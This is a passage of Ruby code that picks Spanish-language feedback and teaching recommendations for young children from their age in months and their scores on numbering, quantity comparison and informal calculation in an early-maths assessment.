* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
elsif @test.edad.between?(60, 65) && @test.pi_num.between?(8, 10) then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
elsif @test.edad.between?(60, 65) && @test.pi_num < 8 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
# 72 a 77
elsif @test.edad.between?(66, 71) && @test.pi_num > 14 then
@f = "El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
elsif @test.edad.between?(66, 71) && @test.pi_num.between?(10, 14) then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
elsif @test.edad.between?(66, 71) && @test.pi_num < 10 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
# 72 a 77
elsif @test.edad.between?(72, 77) && @test.pi_num > 16 then
@f = "El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
elsif @test.edad.between?(72, 77) && @test.pi_num.between?(13, 16) then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
elsif @test.edad.between?(72, 77) && @test.pi_num < 13 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
# 78 a 83
elsif @test.edad.between?(78, 83) && @test.pi_num > 17 then
@f = "El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
elsif @test.edad.between?(78, 83) && @test.pi_num.between?(15, 17) then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
elsif @test.edad.between?(78, 83) && @test.pi_num < 15 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.
* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.
"
# 84 a 95
elsif @test.edad.between?(84, 95) && @test.pi_num > 18 then
@f = "El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…).
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.
"
elsif @test.edad.between?(84, 95) && @test.pi_num.between?(16, 18) then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…).
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.
"
elsif @test.edad.between?(84, 95) && @test.pi_num < 16 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…).
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
# 96 a 101
elsif @test.edad.between?(96, 101) && @test.pi_num > 19 then
@f = "El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para mejorar lo aprendido:
* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…).
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.
"
elsif @test.edad.between?(96, 101) && @test.pi_num < 20 then
@f = "El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…).
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.
"
end
# Comparación de cantidades
# 60 a 71
if @test.edad.between?(60, 71) && @test.pi_comp > 3 then
@g= "El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.
"
elsif @test.edad.between?(60, 71) && @test.pi_comp.between?(2, 3) then
@g = "El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.
"
elsif @test.edad.between?(60, 71) && @test.pi_comp < 2 then
@g = "El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.
"
# 72 a 77
elsif @test.edad.between?(72, 77) && @test.pi_comp > 4 then
@g= "El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100.
"
elsif @test.edad.between?(72, 77) && @test.pi_comp = 4 then
@g = "El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100.
"
elsif @test.edad.between?(72, 77) && @test.pi_comp < 4 then
@g = "El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.
"
# 78 a83
elsif @test.edad.between?(78, 83) && @test.pi_comp > 3 then
@g= "El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100.
"
elsif @test.edad.between?(78, 83) && @test.pi_comp < 4 then
@g = "El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.
* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.
"
# 84 a 95
elsif @test.edad.between?(84, 95) && @test.pi_comp > 3 then
@g= "El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro.
"
elsif @test.edad.between?(84, 95) && @test.pi_comp < 4 then
@g = "El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.
* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad.
"
# 96 a 101
elsif @test.edad.between?(96, 101) && @test.pi_comp > 4 then
@g= "El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro.
"
elsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then
@g = "El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.
* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad.
"
end
# Cálculo Informal
# 60 a 65
if @test.edad.between?(60, 65) && @test.pi_cal > 3 then
@h= "El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
elsif @test.edad.between?(60, 65) && @test.pi_cal.between?(2, 3) then
@h = "El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
elsif @test.edad.between?(60, 65) && @test.pi_cal < 2 then
@h = "El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.
